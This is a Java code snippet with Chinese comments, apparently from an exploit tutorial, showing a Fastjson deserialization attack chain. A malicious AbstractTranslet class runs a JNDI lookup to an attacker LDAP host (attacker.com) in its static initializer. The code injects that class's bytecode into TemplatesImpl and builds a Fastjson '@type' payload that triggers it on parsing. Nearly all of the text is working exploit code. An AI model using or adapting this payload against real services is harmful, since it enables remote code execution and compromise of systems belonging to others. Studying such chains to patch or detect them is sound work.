public
class
JNDILoader extends AbstractTranslet {
static {
try
{
new InitialContext().lookup(
"ldap://attacker.com/Exploit"
);
} catch (NamingException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
/
/
生成字节码并注入到 TemplatesImpl 中
TemplatesImpl templates
=
new TemplatesImpl();
setField(templates,
"_bytecodes"
, new byte[][]{evilCode});
setField(templates,
"_name"
,
"JNDILoader"
);
setField(templates,
"_tfactory"
, new TransformerFactoryImpl());
/
/
结合 Fastjson 触发
String payload
=
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
+
"\"_bytecodes\":[\""
+
base64EncodedCode
+
"\"],"
+
"\"_outputProperties\":{}}"
;
JSON.parseObject(payload, Feature.SupportNonPublicField);